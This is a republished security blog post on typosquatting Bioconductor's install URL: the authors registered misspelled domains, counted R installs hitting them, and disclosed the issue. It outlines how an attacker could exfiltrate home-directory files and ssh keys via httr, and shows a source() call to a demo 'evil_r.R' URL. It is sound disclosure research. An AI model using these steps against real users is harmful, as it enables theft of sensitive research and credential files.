<p><div><div><div><div data-show-faces="false" data-height="21" data-width="100" data-layout="button_count" data-send="true" data-href="https://www.r-bloggers.com/hacking-bioconductor/"></div></div><div></div></div><div></div></div>
<div>
(This article was first published on <strong><a href="https://www.jumpingrivers.com/blog/security-r-hacking-bioconductor/"> r – Jumping Rivers</a></strong>, and kindly contributed to <a rel="nofollow" href="https://www.r-bloggers.com/">R-bloggers)</a> </div>
<h2>Introduction</h2>
<p>Domain squatting or URL hijacking is a straightforward attack that requires little skill. An attacker registers a domain that is similar to the target domain and hopes that a user accidentally visits the site. For example, if the domain is <code>example.com</code>, then a typo-squatter would register similar domains such as</p>
<ul>
<li>common misspelling: <code>examples.com</code></li>
<li>misspellings based on omitted letters: <code>exampl.com</code></li>
<li>misspellings based on typos: <code>ezample.com</code></li>
<li>a different top-level domain: <code>example.co.uk</code></li>
</ul>
<p>The cost of registering a single domain is approximately £10 for two years.</p>
<p>With the rise of data science and the widespread use of tools such as R, Python and Matlab, programming has moved from the domain of computing scientist to users who have no formal training. Coupled with this, is the vast amount of additional free packages available. For example, R has over 12,000 packages on its main repository CRAN. These packages cover everything from clinical trials to machine learning. Installation of these packages does not go through a traditional IT approach, where a user contacts their IT officer asking for packages to be installed. Instead, users simply install the required packages on their own machine. Crucially, to install these packages does not require admin rights. This shift from a centrally managed IT infrastructure to a user-centred approach can be difficult to manage.</p>
<hr>
<p>We now regularly perform Shiny and R related security health checks. <a rel="nofollow" href="http://jumpingrivers.com/contact?utm_source=blog&utm_medium=contact&utm_campaign=2018-bioconductor" target="_blank">Contact</a> us if you want further details.</p>
<hr>
<h2>Example: Bioconductor project</h2>
<p>To make this article concrete, while simultaneously not overstepping the ethical bounds, we used URL hijacking to target <a rel="nofollow" href="https://bioconductor.org/" target="_blank">Bioconductor</a>. The Bioconductor project provides tools for the analysis and understanding of high-throughput genomic data. The project uses the R programming language and has over 1,300 associated R packages.</p>
<p>To install Bioconductor, users are instructed to run the R script</p>
<pre><code>source(&quot;https://bioconductor.org/biocLite.R&quot;)
</code></pre>
<p>This loads the <code>biocLite()</code> function that enables installation of other R packages. Two points are worth noting:</p>
<ul>
<li>Bioconductor has a large user community. </li>
<li>The typical Bioconductor user is analysing cutting-edge biological datasets and therefore likely to be in a University, pharmaceutical company, or government agency. Their data is almost certainly sensitive, which could include patient data or results on upcoming drug trials.</li>
</ul>
<p>We registered eleven domains: biconductor.org, biocnductor.org, biocoductor.org, biocondctor.org, bioconducor.org, bioconducto.org, bioconductr.org, biocondutor.org, bioconuctor.org, bioonductor.org, boconductor.org</p>
<p>Each domain name is a simple misspelling of <strong>bioconductor</strong>.</p>
<p>When the <code>source()</code> function is used to access a website, it sends a <em>user agent</em> giving the version of R being used and the operating system. For example, the user agent</p>
<blockquote>
<p>R (3.4.2 x86_64-w64-mingw32 x86_64 mingw32)</p>
</blockquote>
<p>indicates R version 3.4.2 on a Windows machine. The machine’s location (IP address) is also passed to the server. Whenever a machine accesses a domain, this information is automatically recorded.</p>
<p>For each of the eleven domains, we monitored the server logs for occurrences of the R user-agent. Whenever anyone accessed our rogue domains we always returned a 404 (not found) error message. It is worth noting that while SSL (<strong>https</strong>) is essential for a secure connection, in this scenario it just provides a secure connection to the rogue domain, i.e. it does not offer any additional protection.</p>
<h3>Did it work?</h3>
<p>We monitored the eleven domains for five months, starting in January 2018. As expected some domains are clearly more popular than others. The top three domains, bioconducor.org, biconductor.org and biocondutor.org accounted for most of the traffic.</p>
<figure class="wp-caption"><img sizes="(max-width: 2400px) 100vw, 2400px" src="https://i0.wp.com/www.jumpingrivers.com/wp-content/uploads/2018/11/blog-security.png?w=450&ssl=1" alt="" class="wp-image-793" data-recalc-dims="1"><figcaption class="wp-caption-text">No. of unique hits per day, per domain over the five-month monitoring period. To avoid duplication, a particular IP address is only counted once per day. Only hits that had the R-user agent are counted.</figcaption></figure>
<p>A summary of the results are</p>
<ul>
<li>Thirty-three countries</li>
<li>168 unique Universities, with most of the top 10 Universities in the world represented</li>
<li>Many Research Institutes</li>
<li>A number of Pharma companies and charities</li>
</ul>
<h3>Is it really a big deal?</h3>
<p>Once the user has executed our R script, we are free to run any R commands we wish. If the attacker has targeted users installing Bioconductor then they would probably look for commercially sensitive material.</p>
<p>The first step for an attacker to retrieve information from a user’s machine would be to install the <strong>httr</strong> R package using the command</p>
<pre><code>install.packages(&quot;httr&quot;)
</code></pre>
<p>This package provides functionality for uploading files to external web-servers. A more nefarious technique would be to detect if Dropbox or other cloud storage system is on their system and leverage that via an associated R package.</p>
<p>The next step would be to determine files on the system. This is particularly easy since R is cross-platform. Using base R, we can list all files under a users home area with</p>
<pre><code>list.files(&quot;~/&quot;, recursive = TRUE, full.names = TRUE)
</code></pre>
<p>An attacker could either upload all files or cherry-pick particular directories, such as those that contain security credentials, e.g. ssh keys. With approximately three lines of standard R code the attacker we could upload all files from a user’s home area to an external server.</p>
<p>An attacker could nuance their attack with little thought. For example, a simple message statement at the start of an attack, such as</p>
<pre><code>The Bioconductor server is experiencing heavy use today; 
hence the installation process will take slightly longer than usual, 
please be patient. Sorry for your inconvenience.
</code></pre>
<p>would give the attacker more time. A sophisticated variation would be to delay file uploads until the user is away from the computer, while simultaneously installing Bioconductor and allowing the user to proceed as normal.</p>
<p>Detecting an attack would also be difficult as an attacker can modify their response based on the user-agent. For example, if in R we run the command</p>
<pre><code>source(&quot;http://www.mas.ncl.ac.uk/~ncsg3/R/evil_r.R&quot;)
</code></pre>
<p>The server detects an R user agent and returns R code. However visiting the site via a browser, such as Internet Explorer, will result in a “page not found”. An attacker could also cache IP addresses of visitors. This would enable them to launch an attack the first time a user visits the page, but all subsequent visits result in a redirect to the correct Bioconductor site.</p>
<h2>Other Attack Avenues</h2>
<p>Bioconductor is not the only attack vector that could be exploited. Many R users install the latest versions of packages from GitHub (or other online repositories). The most common method of installing a GitHub package is to use the function <code>install_github()</code>. The first argument of this function is a combination of the GitHub username and the repository name. For example, to install the latest version of <strong>ggplot2</strong> package, the user/organisation is <strong>tidyverse</strong> and the repository name is <strong>ggplot2</strong>, so the argument to the <code>install_github()</code> function would be <strong>tidyverse/ggplot2</strong>, i.e. thus</p>
<pre><code>install_github(&quot;tidyverse/ggplot2&quot;)
</code></pre>
<p>As with the mechanism employed by Bioconductor, there is nothing wrong with this particular method for package installation. However like Bioconductor, as there are many users installing the package in this manner, it would be relatively simple to register a similar username; we have actually registered the username <strong>tidyversee</strong> but didn’t create a <strong>ggplot2</strong> repository.</p>
<p>While the <strong>tidyverse</strong> repository is one of the most popular GitHub repositories, it would be relatively easy to script an attack on <strong>all</strong> packages hosted in <a rel="nofollow" href="http://rpkg-api.gepuro.net/rpkg" target="_blank">GitHub</a>. Creating similar user-names and cloning the targeted repositories, would create thousands of possible attack vectors.</p>
<p>This security vulnerability is implicitly present whenever a user installs packages or libraries. For example in <a rel="nofollow" href="https://python.org/" target="_blank">Python</a>, users can install packages via the popular _pip__ package. However, a malicious attacker can upload a python package to this repository with a similar name to a current package and thereby gain control of a users system via URL hijacking.</p>
<h2>Reporting vulnerabilities</h2>
<p>We actually discovered this issue mid-way through 2017. After contacting the maintainers of Bioconductor, we waited until the mechanism for installing Bioconductor packages was changed to</p>
<pre><code>## A CRAN package
BiocManager::install()
</code></pre>
<p>This happened with the release of R 3.5.0. We then waited a few more months just to be sure</p>
<h2>Shiny and R Health Checks</h2>
<p>One of our main tasks at [Jumping Rivers](https://www.jumpingrivers.com/consultancy/] is to help set up <a rel="nofollow" href="https://www.r-project.org/" target="_blank">R</a> infrastructure and perform R related security health checks. If you need advice or help, please <a rel="nofollow" href="http://jumpingrivers.com/contact?utm_source=blog&utm_medium=contact&utm_campaign=2018-bioconductor" target="_blank">contact</a> us for further details.</p>
<hr>
<p><a rel="nofollow" href="https://www.jumpingrivers.com/?utm_source=blog&utm_medium=image&utm_campaign=2018-bioconductor" target="_blank"><img alt="" src="https://i1.wp.com/www.jumpingrivers.com/wp-content/uploads/2018/11/logo-advert.png?w=456&ssl=1" data-recalc-dims="1"></a></p>
<p>The post <a rel="nofollow" href="https://www.jumpingrivers.com/blog/security-r-hacking-bioconductor/" target="_blank">Hacking Bioconductor</a> appeared first on <a rel="nofollow" href="https://www.jumpingrivers.com/" target="_blank">Jumping Rivers</a>.</p>
	<p>
<div>
<div>To <strong>leave a comment</strong> for the author, please follow the link and comment on their blog: <strong><a href="https://www.jumpingrivers.com/blog/security-r-hacking-bioconductor/"> r – Jumping Rivers</a></strong>.</div>
<hr>
<a rel="nofollow" href="https://www.r-bloggers.com/">R-bloggers.com</a> offers <strong><a rel="nofollow" href="https://feedburner.google.com/fb/a/mailverify?uri=RBloggers">daily e-mail updates</a></strong> about <a rel="nofollow" href="https://www.r-project.org/" title="The R Project for Statistical Computing">R</a> news and <a rel="nofollow" href="https://www.r-bloggers.com/search/tutorial" title="R tutorials">tutorials</a> on topics such as: <a rel="nofollow" href="https://www.r-bloggers.com/search/data%20science" title="Data science">Data science</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/Big%20Data" title="Big Data">Big Data, <a rel="nofollow" href="https://www.r-users.com/" title="R jobs">R jobs</a>, visualization (<a rel="nofollow" href="https://www.r-bloggers.com/search/ggplot2" title="ggplot and ggplot2 tutorials">ggplot2</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/boxplot" title="Boxplots using lattice and ggplot2 tutorials">Boxplots</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/map" title="Maps and gis">maps</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/animation" title="Animation in R">animation</a>), programming (<a rel="nofollow" href="https://www.r-bloggers.com/search/RStudio" title="RStudio IDE for R">RStudio</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/sweave" title="Sweave and literate programming">Sweave</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/LaTeX" title="LaTeX in R">LaTeX</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/SQL" title="SQL and databases">SQL</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/eclipse" title="Eclipse IDE for R">Eclipse</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/git" title="git and github, Version Control System">git</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/hadoop" title="Large data in R using Hadoop">hadoop</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/Web+Scraping" title="Web Scraping of google, facebook, yahoo, twitter and more using R">Web Scraping</a>) statistics (<a rel="nofollow" href="https://www.r-bloggers.com/search/regression" title="Regressions and ANOVA analysis tutorials">regression</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/PCA" title="principal component analysis tutorial">PCA</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/time+series" title="Time series">time series</a>, <a rel="nofollow" href="https://www.r-bloggers.com/search/trading" title="finance trading">trading</a>) and more...
<img width="1" alt="" src="http://feeds.feedburner.com/~r/RBloggers/~4/U56T__udmEs" height="1"></a></div>